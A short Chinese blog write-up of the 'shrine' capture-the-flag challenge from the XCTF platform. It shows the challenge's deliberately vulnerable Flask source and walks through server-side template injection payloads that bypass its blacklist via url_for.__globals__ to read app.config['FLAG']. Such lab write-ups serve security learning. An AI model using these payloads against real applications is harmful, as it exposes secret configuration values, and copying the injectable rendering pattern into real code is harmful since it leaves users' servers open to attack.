[攻防世界] shrine

发布于 2021-08-06  80 次阅读


打开题目,好家伙,python,想到ssti模板注入。

import flask 
import os app = flask.Flask(__name__) #对flask模块进行实例化
app.config['FLAG'] = os.environ.pop('FLAG') #清除FLAG环境变量,并将其保存在app.config中
@app.route('/')
def index():
return open(__file__).read() #路由转发到/shrine/路径下
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self'] #过滤 () ,config,self
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)

根据分析 我们应该在 /shrine/ 路径下查看 app.config[‘FLAG’] 的内容 就能得到flag。

image-20201127154220931
http://220.249.52.133:40596/shrine/{{4}}

证明存在 ssti 下一步 想办法 绕过 过滤 读取 信息

image-20201127154831480
/shrine/{{url_for.__globals__}}
globals 函数返回一个全局变量的字典,包括所有导入的变量。
image-20201127155032161
/shrine/{{url_for.__globals__['current_app']}}

这个就是之前实例化对象app 查看 他的config即可

image-20201127155224402
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}